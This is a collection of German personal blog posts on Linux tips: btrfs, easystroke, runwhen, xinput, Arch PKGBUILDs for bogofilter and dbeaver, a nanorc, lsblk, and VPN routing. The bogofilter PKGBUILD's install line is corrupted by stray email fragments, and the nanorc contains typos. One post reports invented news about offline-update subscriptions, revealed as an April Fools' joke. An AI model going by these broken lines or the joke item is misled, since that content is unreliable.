Mal sehen, wie sich btrfs nun schlägt. Bisher habe ich noch keine negativen Effekte erlebt. Gut, nach nicht mal 24 Stunden ist das auch kein Wunder. Sollte es wirklich richtig Peng machen, werde ich einfach die ext4-Sicherung einspielen und hier noch einen Artikel schreiben. Alles in allem ist das aber alles kein Hexenwerk. Sofern man die Dinge berücksichtigt, die ich nicht berücksichtigt habe. ;-) Trotzdem will ich noch einmal ganz deutlich sagen, dass btrfs noch nicht als stabil gekennzeichnet ist. Deswegen Benutzung auf eigene Gefahr. Genau deswegen bleibt /home bei mir auch erst einmal ext4, da hier wesentlich mehr Daten lagern und eine Datensicherung nicht mal eben eingespielt ist.


Mausgesten der Marke Eigenbau

Auf meinem Netbook nutze ich derzeit Chromium, da mein Lieblingsbrowser Opera zu zäh läuft und Midori leider regelmäßig abstürzt. Unter Opera nutze ich schon seit Jahren die Mausgesten. Chromium unterstützt von Haus aus keine und die Erweiterungen die ich auf die schnelle gefunden habe, gefallen mir alle nicht so richtig. In den Weiten des Internets bin ich dann auf easystroke gestoßen.

Der Vorteil an easystroke ist, dass man damit eigentlich jedes Programm mit Mausgesten ausrüsten kann. Der Nachteil, es ist eben kein Plugin, sondern ein extra Programm das gestartet werden muss. Naja auf eines mehr oder weniger kommt es bei halbwegs aktuellen Rechnern auch nicht an.

Nachdem man das Tool installiert und gestartet hat, wird einem erst einmal eine mehr oder weniger leere grafische Oberfläche angezeigt. Als erstes klicken auf den Reiter "Preferences" und wählen unter "Behavior" die Schaltfläche "Gesture Button" aus. Im nun erscheinenden Fenster wählen wir recht unten anstelle des voreingestellten Button 2 (Mausrad) Button 3 aus (rechte Maustaste) und bestätigen mit "OK". Natürlich kann man hier verwenden was man will. Wer das Mausrad nutzen will kann auch Button 2 lassen usw.

Nun wechseln wir wieder auf den Reiter "Actions" und klicken auf den kleinen Pfeil neben Applications und öffnen somit das Untermenü.

easystroke_2

Als nächstes starten wir das gewünschte Programm, dass wir mit Mausgesten ausstatten wollen. Danach klicken wir unter easystroke auf die Schaltfläche "Add Application". Nun sollte sich der Mauszeiger in ein Fadenkreuz verwandelt haben, mit welchem wir das gewünschte Fenster klicken. In diesem Fall Chromium. Nun sollte in easystroke neben dem bereits vorhandenen Eintrag "default" auch Chromium gelistet sein.

Diesen Eintrag wählen wir nun mit einem Mausklick aus. Wenn der Eintrag markiert ist, klicken wir in easystroke auf die Schaltfläche "Add Action", welche man am unteren Rand findet. Nun erscheint bereit die erste Aktion, welche den voreingestellten Namen "chromium Gesture 1" trägt. Diesen Namen ändern wir als erstes. Zum Beispiel in "Zurück", da wir als erstes die Mausgeste anlegen wollen, die die vorherige Internetseite aufruft. Nun wechseln wir mit TAB in die Spalte "Type" Nun erhalten wir eine Auswahlliste mit diversen Einträgen. Hier kann man sich je nach Anwendung, die mit Mausgesten ausgestattet werden soll, austoben. Bei diesem Beispiel ist "Key" das was wir brauchen. Nachdem wir das ausgewählt den Cursortasten ausgewählt haben (alternativ mit der Maus), erscheint in der Spalte Details der Eintrag "Key combination...". An dieser Stelle drücken wir nun die gewünschte Tastenkombination. In diesem Fall wäre dies die Taste ALT und die Cursortaste nach Links. Die genauen Shortcuts für Chrome/Chromium kann man sich hier ansehen. Das Ganze müsste nun wie folgt aussehen.

easystroke_3

Nun müssen wir nur noch die Mausgeste bestimmen, mit der dieser Eintrag ausgeführt wird. Da ich, wie schon angemerkt, ein Fan von Opera bin, kopiere ich einfach mal die Mausgesten dieses Browsers. Diese findet man hier. Für unser Beispiel müssten wir also die rechte Maustaste drücken, gedrückt halten und mit der Maus eine Bewegung nach Links ausführen. Also gut. Damit auch easystroke das kapiert klicken wir nun auf "Record Stroke". Hier erhalten wir den Hinweis, dass nun alles aufgezeichnet wird, was wir nun mit der Maus anstellen. Also klicken wir auf die rechte Maustaste, halten diese und ziehen die Maus ein Stück nach links und lassen die rechte Maustaste wieder los. Nun sollte der von uns erstelle Eintrag für "Zurück" wie folgt aussehen.

easystroke_4

Das wiederholen wir nun für alle gewünschten Mausgesten. Mehr gibt es eigentlich nicht zu tun. Easystroke zeigt in den mit Mausgesten ausgestatteten Anwendungen beim Ausführen der Gesten diese auch grafisch an. Dies kann man im Reiter "Preferences" unter "Apperence" ändern bzw. abstellen. Hier gibt es auch eine Möglichkeit anzugeben, dass easystroke automatisch gestartet werden soll. Denn läuft easystroke nicht, funktionieren die Mausgesten auch nicht.


Runwhen - Eine Alternative zu cron

Ich merke mir irgendwie schlecht, wie die richtige Reihenfolge für die Einträge in die Crontab ist. Ist die erste Stelle nun für die Minuten zuständig? Oder waren es die Stunden? Jedes mal das selbe Drama. Lars von Suckup.de hat deswegen heute einen Tipp in seinem Blog veröffentlicht, mit dem man diese Unsicherheit aus dem Weg räumen kann.

An dieser Stelle möchte ich nicht noch einen Tipp für cron veröffentlichen, sondern eine Alternative vorstellen. Runwhen. Hiermit finde ich es wesentlich angenehmer einen Cronjob zu erstellen.

Nehmen wir mal an, man möchte etwas täglich um 5.30 Uhr am Morgen ausführen. Hier wäre der Eintrag RUNWHEN=",H=5,M=30" nötig. Oder es soll nur etwas am fünften Tag vor Monatsende ausgeführt werden? Dann wäre RUNWHEN=",d-5" das Richtige.

Das Ganze lässt sich beliebig kombinieren. Um zu zeigen, was neben H,M und d noch alles möglich ist, hier mal ein Auszug aus meiner Konfigurationsdatei:

# The constraint string consists of a sequence of unit constraints. Each unit
# constraint consists of a comma, one of the following letters indicating which
# unit is constrained:
#
# * y: year.
# * m: month (in the range 1-12).
# * d: day of the month (in the range 1-28, 1-29, 1-30, or 1-31, as
# appropriate for the month in question).
# * w: day of the week (in the range 0-6, with 0 representing Sunday).
# * H: hour of the day (in the range 0-23).
# * M: minute of the hour (in the range 0-59).
# * S: second of the minute (in the range 0-59).
#
# and finally one of the following:
#
# * =n: matches times when the given unit is exactly n.
# * -n: matches times when the given unit is exactly m, where m+n is one
# more than the largest value of the unit. (For example, n+m=24 for H,
# so ,H-1 is equivalent to ,H=23.
# * /n: matches times when the given unit is divisible by n.

Persönlich finde ich das irgendwie angenehmer. Ist aber vermutlich Geschmackssache. Einen etwas ausführlicheren Artikel zu dem Thema Runwhen findet man im Wiki von Uberspace.


Touchpad bei Bedarf deaktivieren

In letzter Zeit nutze ich immer öfter mein Netbook (Lenovo X130e) für alles mögliche. Allerdings erwische ich beim Tippen regelmäßig den Touchpad. Bei längeren Texten nervt das dann schon gehörig. Daher habe ich mir mal angesehen, wie ich den Touchpad bei Bedarf deaktivieren kann. Hierzu kann man den Befehl "xinput" nutzen.

Mittels "xinput list" erhält man eine Liste aller erkannten Eingabegeräte. Bei mir sieht das wie folgt aus:

xinput_touchpad

Das Touchpad wird hier als "SynPS/2 Synaptics Touchpad" aufgeführt. Wichtig ist hier die ID des Gerätes. In diesem Fall 13.

Mittels "xinput --disable 13" kann man nun das Touchpad bei Bedarf deaktivieren. Um es wieder zu aktivieren reicht der Befehl "xinput --enable 13" aus.

Soll der Touchpad dauerhaft deaktiviert werden und das BIOS bietet keine Möglichkeit den Touchpad zu deaktivieren, kann man den Befehl in der Datei "~/.xinitrc" hinterlegen.


Meine eigene Installation von Etherpad Lite

Ab und zu benötige ich eine Plattform auf der ich Texte veröffentlichen kann, welche dann auch von Dritten änderbar sind. In letzter Zeit habe ich immer auf diverse Webseiten wie http://openetherpad.org/ zurückgegriffen, die dies in Form von Etherpad Lite ermöglichen. Irgendwie habe ich allerdings immer das Glück, dass immer wenn jemand das von mir erstellte Pad aufrufen will, das ganze Angebot nicht erreichbar ist.

Damit ist jetzt hoffentlich Schluss. Da ich bei meinem Webspace-Anbieter eine ziemliche Narrenfreiheit habe, habe ich mir jetzt kurzerhand Etherpad Lite auf meinem Webspace installiert. Praktischer Weise gab es im Wiki auch gleich eine Anleitung dazu. Des Weiteren habe ich mich dann noch, hier bedient und die .htaccess-Datei abgekupfert, damit die Pads auch ohne /p/ in der Adresse funktionieren. Was ich allerdings noch nicht geschafft habe, ist dass neue Pads automatisch ohne /p/ im Link erstellt werden. Kann mir da jemand auf die Sprünge helfen?

Unter http://pad.fryboyter.de steht der Spaß nun zur Verfügung. Ich werde bis auf weiteres den Zugriff auch für Dritte erlauben. Sollte es aber ausarten oder missbraucht werden, werde ich das Angebot einstellen und nur noch für mich selbst nutzen.

Nachtrag 25.05.13: Da seit gestern mehr als 50 Test-Pads erstellt wurden, möchte ich darum bitten, zum reinen Testen http://pad.fryboyter.de/test zu nutzen.


Ziel eines Softlinks herausfinden

Gerade war ich per SSH mit einem anderen Rechner verbunden. Hier hatte ich vor einiger Zeit einen Softlink erstellt. Da dieser nicht mehr funktioniert, hat sich scheinbar das Ziel geändert. Leider hatte ich keinen blassen Schimmer mehr, wohin der Softlink zeigt. Ja, nicht vorhandene Dokumentationen sind schon etwas feines... Um zukünftig nicht wieder ewig nach der Lösung zu suchen, hier selbige für mich und euch. Es gibt den Befehl readlink. Mit diesem kann man sich anzeigen lassen, wohin der Softlink gelenkt wird.

readlink www.fryboyter.de

Dies gibt z. B. html/cms aus. Will man es etwas genauer haben, kann man den Befehl wie folgt erweitern

readlink -f www.fryboyter.de

Nun erhält man beispielsweise /var/www/virtual/anaximander/html/cms als Ausgabe.


Diverse Distributoren planen Offline-Updates

Zur Abwechslung kann ich mal etwas exklusives schreiben, auch wenn der Tag hierfür etwas ungünstig ist. Eine mir persönlich bekannte Quelle, welche über keine eigene Internetseite zur Veröffentlichung verfügt, hat mir interessante Informationen zukommen lassen.

Laut diesen planen diverse Distributoren Abos für Offline-Updates einzuführen. Abonnent erhalten hierbei vom jeweiligen Distributor in regelmäßigen Abständen einen Datenträger (vermutlich einen USB-Stick) per Post zugeschickt, auf dem die jeweils aktuellen Updates vorhanden sind. Dieser kann dann zum Einspielen selbiger genutzt werden. Der Datenträger muss dann innerhalb eines bisher noch nicht bekannten Zeitraums wieder zurückgeschickt werden. Hierzu soll wohl ein Rücksendeaufkleber beiliegen. Wie hoch die Kosten für das Abo liegen, steht derzeit ebenfalls noch nicht fest, da es sich bisher noch um Planungen handelt. Vermutlich werden diese aber von Distributor zu Distributor unterschiedlich ausfallen.

So wie es aussieht ist diese Idee wohl dadurch entstanden, weil einige Anbieter von Internetzugängen wieder auf Volumen-Tarife umsteigen. Durch solch ein Abo soll scheinbar das monatliche Datenvolumen der jeweiligen Nutzer geschont werden.

Dies ist, meiner Meinung nach, eine interessante Idee, da bei manchen Distributionen wie z. B. Arch Linux durchaus einige Gigabyte im Monat an Updates zusammenkommen können. Solch ein Abo könnte aber auch für Nutzer mit DSL light oder schlimmer interessant sein. Aber derzeit muss man noch abwarten, welche Distributoren überhaupt mitmachen und welche Kosten dadurch für den Nutzer entstehen.

Updates die eine akute Sicherheitslücke betreffen, wird man aber weiterhin online einspielen müssen. Ich kann mir beim besten Willen nicht vorstellen, dass solche Update außerhalb des normalen Abo-Rhythmus zeitnah per Datenträger geliefert werden können.

Nach aktuellen Erkenntnissen hat sich meine Quelle in den Inselstaat Lirpa Lirpa abgesetzt. Oder um es direkter auszudrücken, das war der Aprilscherz 2013 von fryboyter.de


Ausnahme für OpenVPN-Verbindung erstellen

Ich nutze privat einen VPN-Dienst. Derzeit ovpn.to um genau zu sein. Auf manchen Seiten ist das aber ein Nachteil, da manche Vollpfosten solche Dienst zum Spammen usw. missbrauchen und der Seitenbetreiber die IP sperrt. So bleiben im Grunde zwei Möglichkeiten. Entweder man deaktiviert die VPN-Verbindung komplett oder man besucht die Seite nicht mehr. Oder man nimmt Möglichkeit drei und erstellt eine Ausnahme. Unter OpenVPN und Linux reicht hier ein einfacher Befehl.

route add -host heise.de gw 192.168.1.1

Hier wird eine Route erstellt mit der alle Anfragen die an heise.de gehen über den Gateway mit der IP 192.168.1.1 (in dem Fall der Router) gehen und nicht über die VPN-Verbindung. Alles andere läuft weiterhin über die VPN-Verbindung. Will man nun das Ganze wieder löschen muss man einfach den Befehl wiederholen, nur dass man anstelle add del angibt.

route del -host heise.de gw 192.168.1.1

Sollte jemand eine bessere Möglichkeit kennen, immer her damit. So kann man übrigens auch weiterhin die SMTP-Server nutzen, welche in der Regel auch allergisch auf VPN-Dienste reagieren.


Deutschsprachiger Usenet-Server mit Schwerpunkt Arch Linux

Unter der IP 84.200.213.109 steht seit einigen Tagen ein Usenet-Server zum diskutieren (nicht zum Downloaden) bereit. Schwerpunkt ist im Grunde (Arch-)Linux. Folgende Gruppen sind derzeit vorhanden:

- admin.news.groups: Alles Rund um den den Server. Z. B. um neue Gruppen vorzuschlagen.
- alt.nerd: Für Dinge rund um dien IRC-Server irc.malte-bublitz.de
- alt.nerd.themenabend: Planung für eventuell stattfindenden Themenabende
- comp.os.linux: Für das ganze Linux-Gedöns
- comp.os.linux.archlinux: Für Arch Linux im Speziellen
- comp.os.bsd: Für die BSDler unter uns

Das ganze ist nicht auf meinem Mist gewachsen sondern auf dem von Malte Bublitz. Ich rühre hier nur etwas die Werbetrommel, da ich es interessant finde abseits von Foren diskutieren zu können. Oldschool sozusagen. Bisher ist es noch etwas leer, wie man sieht, aber vielleicht ändert es sich ja. 

Der Server ist nun unter nntp.flying-sheep.de erreichbar.

PKGBUILD für Bogofilter 1.2.3

Ich habe mir mal wieder eine PKGBUILD-Datei für Arch zusammengebaut. Dieses mal musste Bogofilter (ein E-Mail-Spamfilter den ich nutze) herhalten. Das Paket wurde vor einigen Tagen als veraltet markiert, die derzeit aktuelle Version, die ein Sicherheitsproblem behebt, gibt es allerdings (leider) schon wesentlich länger. Da ich nicht warten will, bis der Betreuer des Paketes in die Gänge kommt, hier mal die Datei. Eventuell kann es ja jemand gebrauchen.

# $Id$
# Maintainer: tobias
# Contributor: Low Kian Seong
pkgname=bogofilter
pkgver=1.2.3
pkgrel=1
pkgdesc="A fast Bayesian spam filtering tool"
arch=('i686' 'x86_64')
license=('GPL3')
url="http://bogofilter.sourceforge.net"
depends=('db' 'perl' 'gsl')
backup=('etc/bogofilter/bogofilter.cf')
source=(http://sourceforge.net/projects/${pkgname}/files/${pkgname}-current/${pkgname}-${pkgver}/${pkgname}-${pkgver}.tar.bz2)
md5sums=('c3ed7f483b83abcbf6d8c797084bd06e')
build() {
cd "${srcdir}/${pkgname}-${pkgver}"
./configure --prefix=/usr \
                  --sysconfdir=/etc/bogofilter \
                  --localstatedir=/var \
                  --enable-transactions
make
}

package() {
cd "${srcdir}/${pkgname}-${pkgver}"
make DESTDIR="${pkgdir}" install@speedymail.org>@archlinux.org>

mv "${pkgdir}/etc/bogofilter/bogofilter.cf.example" "${pkgdir}/etc/bogofilter/bogofilter.cf"

install -dm755 "${pkgdir}/usr/share/${pkgname}/contrib"
install -m644 contrib/* "${pkgdir}/usr/share/${pkgname}/contrib/"
}

Geändert wurde auch hier nur die Zeilen pkgver und md5sums. Das ganze gibt es natürlich auch wieder unter https://spideroak.com/browse/share/datengrab/FryBoyter. Benutzung wie immer ohne Gewähr.


Arch PKGBUILD für Dbeaver 2.0.4

Wie schon hier geschrieben, bin ich von Dbeaver recht angetan. Inzwischen nutze ich es eigentlich ausschließlich und auch einige meiner Kollegen konnte ich anfixen. Die aktuelle Version 2.0.4 steht unter Arch im AUR allerdings derzeit nicht zur Verfügung. Eventuell ist der Betreuer des Paketes ja noch im Urlaub. Da ich allerdings bei manchen Paketen etwas ungeduldig bin, habe ich mir das Ganze mal zur Brust genommen und die Datei PkGBUILD angepasst. Herausgekommen ist folgendes:

# Maintainer: Arne Hoch
pkgname=dbeaver
pkgver=2.0.4
pkgrel=1
pkgdesc="a free universal database tool for developers and database administrators"
arch=('i686' 'x86_64')
url="http://dbeaver.jkiss.org/"
license=("Freeware")
depends=('java-runtime>=1.6' 'gtk2')
makedepends=('unzip')
if [ "$CARCH" = "i686" ];
then source=(http://dbeaver.jkiss.org/files/dbeaver-$pkgver-linux.gtk.x86.zip dbeaver.desktop) md5sums=('298d4ced68e90dce75f896802c01b0a0')
else
source=(http://dbeaver.jkiss.org/files/dbeaver-$pkgver-linux.gtk.x86_64.zip dbeaver.desktop) md5sums=('02ba30d3e38e2700081d5bd88d47aed5')
fi
md5sums+=('6944e8324464e5802ddf6292026593d6')

build() {
mkdir -p $pkgdir/opt/
mkdir -p $pkgdir/usr/share/applications
mkdir -p $pkgdir/usr/bin
cd $srcdir
cp -r $pkgname $pkgdir/opt/
ln -s /opt/dbeaver/dbeaver $pkgdir/usr/bin/
install -m 644 $srcdir/dbeaver.desktop $pkgdir/usr/share/applications/
}

Die Installation funktioniert und das Programm an sich auch. Soviel kann ich also nicht versaut haben. Naja im Grunde genommen habe ich ja nur die MD5-Summen sowie die pkgver-Zeile angepasst. Die letzte Zeile bei dem MD5-Summen (die mit dem +) ist übrigens für die Datei dbeaver.desktop über die ein Eintrag im Startmenü erzeugt wird. Wer sich keine Arbeit machen will, findet die Dateien unter https://spideroak.com/browse/share/datengrab/FryBoyter. Nutzung, wie immer, auf eigene Gefahr und ohne Gewähr (und Gewehr).


Commandlinefu

Für die Shell-Fetischisten habe gerade einen recht nützlichen Link ausgegraben.

Http://www.commandlinefu.com ist eine Sammelstelle für diverse Shell-Befehle inkl. deren Erklärung. Dort findet man relativ leicht nachvollziehbare Befehle wie

file -sL /dev/sda4

mit denen man beispielsweise das Dateisystem einer Partition herausfinden kann. Aber auch schwerere Geschütze wie

ps -eo size,pid,user,command --sort -size |awk '{hr[1024**2]="GB";hr[1024]="MB";for (x=1024**3; x>=1024; x/=1024){if ($1>=x){printf ("%-6.2f %s ", $1/x, hr[x]);break}}}{printf ("%-6s %-10s ", $2, $3)}{for (x=4;x<=NF;x++){printf ("%s ",$x)} print ("\n")}'

mit denen man sich in einer übersichtlichen Weise anzeigen lassen kann, welche Speichermenge sich die Prozesse geschnappt haben. In der rechten Spalten der Seite gibt es diverse Tags wie bzip2, chmod, oder screen. Damit lässt sich das ganze schon einmal eingrenzen, wenn man sich nur Befehle für einen bestimmten Befehl/Bereich anzeigen lassen will. Eine Suchfunktion ist ebenfalls vorhanden, wenn man etwas genauer suchen will.


Ich gebe den Linuxpaten eine Chance

Vor einiger Zeit habe ich mir überlegt, ob ich das Projekt Linuxpaten wiederauferstehen lasse.

Ich bin nun zu dem Ergebnis gekommen, dass ich es zumindest versuchen werde. Allerdings schaffe ich es definitiv nicht alleine. Von daher möchte ich hiermit um Hilfe bitten. Willkommen ist jeder, der etwas beitragen will.

Wie genau das nun umgesetzt wird kann ich nicht sagen. Denkbar wäre zum Beispiel ein Forum wie myBB für die Vermittlung zwischen Pate und Patenkind und für allgemeine Diskussionen. Interessante Probleme und deren Lösungen könnte man in einem Wiki (z. B. TikiWiki) hinterlegt. Da ich bei meinem Webspace-Anbieter große Freiheiten habe, wäre auch ein Chat, z. B. über Jabber/XMPP möglich. Was aber definitiv nicht in Frage kommt, ist das ganze kommerziell zu gestalten.

Von meiner Seite würde ich auf jeden Fall den Webspace (bei uberspace.de) beisteuern und verwalten und die Kosten für die Domain übernehmen. Eine Beteiligung am "laufendem Geschäft" wäre ebenfalls der Fall. Allerdings muss ich bei grafischen Sachen sowie Programmierungen, die weiter gehen, als z. B. Wordpress rudimentär anzupassen, das Handtuch werfen.

Wer sich an diesem Projekt beteiligen will, kann mich am besten über die Kommentarfunktion oder per E-Mail erreichen. Ideen abseits der bereits genannten Umsetzungsmöglichkeiten sind natürlich gerne gesehen.


Was für ein Jahr für Linux

Die Linux Foundation lässt in einem Video das dann doch recht bewegte Jahr für Linux Revue passieren.

"Gefeiert" wird unter anderem der Umsatz von einer Milliard Dollar bei Redhat oder das Android, Chromebook und Kindle, welche ja mit Linux laufen oder darauf aufbauen, immer mehr Verbreitung finden. Aber seht selbst.

http://youtu.be/Unfx2qCj6Ao

Ich bin mal gespannt, ob mit dem Erscheinen von Steam die Linux Foundation nächstes Jahr auch das Jahr von Linux auf dem Desktop feiern kann. SCNR :D


Entpacken unter Linux leicht gemacht

Geht es euch auch so, dass ihr euch nicht merken könnt, mit welchen Parametern man z. B. ein tar-Archiv entpackt? Also mir schon. Deswegen habe ich mir unter der ZSH diverse Aliase angelegt (z. B. untar welcher tar -xvf ausführt) Heute habe ich eine Alternative dazu gefunden. Dtrx (do the right extraction).

Das Tool entpackt zum Beispiel tar, zip, cpio, deb, rpm, gem, 7z, cab, lzh, rar, gz, bz2, lzma, xz, sowie diverse exe- und Installshield-Dateien und Windows-Cabinetdateien. Hierzu z. B. einfach dtrx test.tar ausführen und fertig. Die Dateirechte werden dabei so geändert, dass man als Nutzer lesend und schreibend auf die entpacktend Dateien zugreifen kann. Alle anderen Rechte bleiben unangetastet. Sollte sich ein Archiv im zu entpackendem Archiv befinden, wird dies auch mit entpackt. Die Verzeichnisstruktur wird beim Entpacken ebenfalls berücksichtigt.


Informationen über Blockgeräte anzeigen

Heute bin ich mal wieder über ein Tool gestolpert, dass ich kurz vorstellen will. Es handelt sich hierbei um lsblk.

Führt man den Befehl ohne Parameter aus, erhält man beispielsweise folgende Ausgabe.

[root@netbook ~]# lsblk 
NAME                   MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT
sda                      8:0    0 298,1G  0 disk  
├─sda1                   8:1    0  94,1M  0 part  /boot
└─sda2                   8:2    0   298G  0 part  
  └─main (dm-0)        254:0    0   298G  0 crypt 
    ├─main-root (dm-1) 254:1    0    30G  0 lvm   /
    ├─main-swap (dm-2) 254:2    0    16G  0 lvm   [SWAP]
    └─main-home (dm-3) 254:3    0   252G  0 lvm   /home

Das ganze lässt sich über diverse Parameter noch ziemlich erweitern bzw. eingrenzen. Mit dem Parameter -f kann man sich beispielsweise noch die UUID anzeigen lassen. Mehr erfährt man in der Manpage.

[root@netbook ~]# lsblk -f
NAME                   FSTYPE      LABEL UUID                                   MOUNTPOINT
sda                                                                             
├─sda1                 ext4        boot  f2859c78-5073-4134-8792-337d944ca37e   /boot
└─sda2                 crypto_LUKS       a8751c65-3549-4f75-8d42-399915c93ccf   
  └─main (dm-0)        LVM2_member       fNkm7V-hkpi-4sP7-H54e-5qod-GelW-zRwEz7 
    ├─main-root (dm-1) ext4        root  61ce4471-67bc-4a18-9c80-0a75c075e899   /
    ├─main-swap (dm-2) swap        swap  3cbfb365-e6c6-4bd1-8459-d04ed7c7858e   [SWAP]
    └─main-home (dm-3) ext4        home  1c4bf4c8-8e2c-444a-8121-beb54e48202a   /home

Lsblk gibt die Informationen übrigens auch aus, wenn die Partitionstabelle nicht gültig ist.
 


Meine Konfigurationsdatei von nano

Bis Ende des Jahres will ich diverse Konfigurationsdateien anpassen und ggf. aufräumen. Bei dieser Gelegenheit werde ich diese dann veröffentlichen. Heute habe ich mit nano angefangen. Nano ist mein bevorzugter Editor wenn ich keine grafische Oberfläche zur Verfügung habe oder ich einfach keine Lust habe größere Geschütze wie Bluefish zu starten. Das ist nun dabei herausgekommen.

## Sample initialization file for GNU nano.
##
## Please note that you must have configured nano with --enable-nanorc
## for this file to be read! Also note that this file should not be in
## DOS or Mac format, and that characters specially interpreted by the
## shell should not be escaped here.
##
## To make sure a value is disabled, use "unset ".
##
## For the options that take parameters, the default value is given.
## Other options are unset by default.
##
## Quotes inside string parameters don't have to be escaped with
## backslashes. The last double quote in the string will be treated as
## its end. For example, for the "brackets" option, ""')>]}" will match
## ", ', ), >, ], and }.

## Backup files to filename~.
set backup

## The directory to put unique backup files in.
set Backupdir  "/hom/mathmos/Dokumente/nanobackup"

## Constantly display the cursor position in the statusbar. Note that
## this overrides "quickblank".
set const

## Enable ~/.nano_history for saving and reading search/replace strings.
set historylog
## Don't convert files from DOS/Mac format.
set noconvert
## Fix numeric keypad key confusion problem.
set rebindkeypad
## Make the Home key smarter. When Home is pressed anywhere but at the
## very beginning of non-whitespace characters on a line, the cursor
## will jump to that beginning (either forwards or backwards). If the
## cursor is already at that position, it will jump to the true
## beginning of the line.
set smarthome

## Use smooth scrolling as the default.
set smooth

## Enable soft line wrapping (AKA full line display).
set softwrap

## Allow nano to be suspended.
set suspend

bind ^S research main

## Syntax-Highlightning
## Nanorc files
include "/usr/share/nano/nanorc.nanorc"

## Makefiles
include "/usr/share/nano/makefile.nanorc"

## Cascading Style Sheets
include "/usr/share/nano/css.nanorc"

## HTML
include "/usr/share/nano/html.nanorc"

## PHP
include "/usr/share/nano/php.nanorc"

## TeX
include "/usr/share/nano/tex.nanorc"

## Patch
files include "/usr/share/nano/patch.nanorc"

## Manpages
include "/usr/share/nano/man.nanorc"

## Perl
include "/usr/share/nano/perl.nanorc"

## Python
include "/usr/share/nano/python.nanorc"

## Ruby
include "/usr/share/nano/ruby.nanorc"

## Java
include "/usr/share/nano/java.nanorc"

## Bourne shell scripts
include "/usr/share/nano/sh.nanorc"

## XML-type files
include "/usr/share/nano/xml.nanorc"

Eventuell kann es ja jemand als Grundlage gebrauchen. Alles was ich nicht benötigt habe, habe ich aus der Datei entfernt. Die komplette Datei nanorc findet man unter /etc/. Diese am besten nicht editieren sondern als .nanorc in das Homeverzeichnis kopieren.


Killen mit der ZSH

Seit geraumer Zeit bin ich ein Fan der ZSH. Aber manchmal werde ich immer noch überrascht.

Gerade wollte ich mit dem Befehl "kill" einen Prozess abschießen. Nur welche PID hat er? Reflexartig wollte ich schon den Befehl "pidof" auspacken um die PID des Prozesses zu ermitteln. Stattdessen habe ich einfach mal TAB gedrückt, da man damit unter ZSH ja eine klasse Autovervollständigung hat. Und genau an der Stelle wurde ich mal wieder überrascht. Nachdem ich TAB gedrückt hatte, kam eine Auflistung aller Prozesses mit ihrer PID aus der ich mit den Cursortasten den richtigen Prozess auswählen kann.

Also einfacher geht es nun wirklich nicht.

Welche Kniffe, Tricks usw. kennt Ihr noch für die ZSH? Oder für die jeweilige Shell, die ihr nutzt?


Etwas Lustiges (oder auch nicht) zum Wochenende

Naja eigentlich eher traurig. Aber ich habe mich trotzdem fürs Lachen entschieden.

Auf dieser Seite wird versucht das Buch "Ubuntu Linux-Einstieg leicht gemacht" an den Mann (oder Frau) zu bringen. An sich kann man dagegen eigentlich nichts sagen. Ich kaufe mir ja auch ab und an ein Druckwerk über Open-Source-Sachen wie die ZSH, obwohl man (verteilt über x Quellen) auch umsonst an die Informationen kommt. Was ich an der Seite lustig finde (oder eher traurig) ist das wie dafür geworben wird. Besonders die 10 Punkte, warum Linux ja soviel besser ist als Windows haben mich erst lachen und dann mit dem Kopf schütteln lassen.

Hier mal meine Sicht der Dinge, wieso das meiste davon Bullshit ist.

Zu Punkt 1: Meine Windowsinstallationen laufen in der Regel mehrere Jahre ohne dass sie langsamer werden. Eine Neuinstallation ist eigentlich nur wegen einem Layer 8 Problem nötig. Keine Ahnung wie der Seitenbetreiber auf die Idee kommt, Windows würde immer langsamer werden umso länger man es benutzt. Eventuell gibt es auch hier ein Layer 8 Problem.

Zu Punkt 2: Das mag vielleicht bei Win 98 noch der Fall gewesen sein. Ich wüsste jetzt nicht, wann z. B. Vista oder W7 das letzte mal bei mir abgekackt ist. Eventuell auch wieder ein Layer 8 Problem?

Zu Punkt 3: Da hat er recht. Aber auch nur, weil ich meine Rechner nicht 24/7 laufen lasse. Ich kenne Leute die Windows-Server betreiben und diese auch nur herunterfahren, wenn es ein Update zwingend verlangt. Was bei Linux durchaus auch mal fällig ist. Z. B. wenn der Kernel gewechselt wurde.

Zu Punkt 4: Auch in Zeiten, als Windows nicht automatisch im Hintergrund defragmentiert hat, habe ich nicht selber eine Defragmentierung angestoßen. Trotzdem lief alles. Einen wirklichen Unterschied konnte ich bei Tests auch nie nachvollziehen. Vor allem nicht wenn man die Zeit mit einbezieht, die man bei Defragmentieren verschendet. Wieder ein Layer 8 Problem? Dateisysteme unter Linux defragmentieren übrigens auch.

Zu Punkt 5: Tja, wenn es nach meinem Autohändler geht, hätte ich bereits nach 6 Monaten ein neues Auto kaufen sollen. Windowsversionen werden in der Regel länger als 2 bis 3 Jahre unterstützt. XP bis 2014 wenn ich mich nicht irre. Also mal eben 13 Jahre. Manche Versionen einiger Distributionen bringen es nicht mal auf 3 Jahre. Wieso sollte ich also immer wechseln? W8 werde ich z. B. komplett auslassen, da es für mich einfach zu wenig Neuerungen hat, die mir gefallen oder die ich brauche.

Zu Punk 6: Das ist endlich mal ein Punkt, bei dem ich weder gelacht noch geweint habe. Aber dank diversen Tools wie dem Personal Software Inspectorvon Secunia ist das dann auch kein Beinbruch. Es ist nur nervig.

Zu Punkt 7: W7 läuft hier auf einer Hardware, die alles andere als aktuell ist. Z. B. ist ein i5 750 verbaut. Der ist, wenn ich mich nicht irre, 2009 erschienen. Meine GTX 260² dürfte ähnlich aktuell sein. Usw. Mal davon abgesehen, wirbt der Betreiber für ein Ubuntu-Buch. Ubuntu ist ja auch bekannt dafür auf alten Klapperkisten wie einem P2 zu laufen. Ja nee, ist klar...

Zu Punkt 8: Also ich bezweifle es jetzt einfach mal, dass Ubuntu innerhalb von 8 Minuten installiert ist. Für eine andere anfängerfreundliche Distribution dich ich selbst verwende (Mandriva bzw. Mageia) brauche ich schon um einiges länger. Oder ist hier von der Live-Version die Rede. Da dürfte z. B. ein Mini-XP schneller sein.

Zu Punkt 9: Klar, 2013 wird MS pleite gehen und Ubuntu den Markt dominieren. Gut Linux findet immer mehr Verbreitung. Durch Steam hoffentlich noch mehr. Aber glaubt der Betreiber allen Ernstes, dass MS in den nächsten Jahren nicht mehr Marktführer (argh... ich habe das böse Wort benutzt) sein wird. Also ich nicht. Alleine schon deshalb weil auf den Fertigrechnern weiterhin Windows vorinstalliert ist und schätzungsweise 90% der Kunden nicht mal wissen, dass es auch noch andere Götter neben Windows gibt. Äh Betriebssysteme meinte ich...

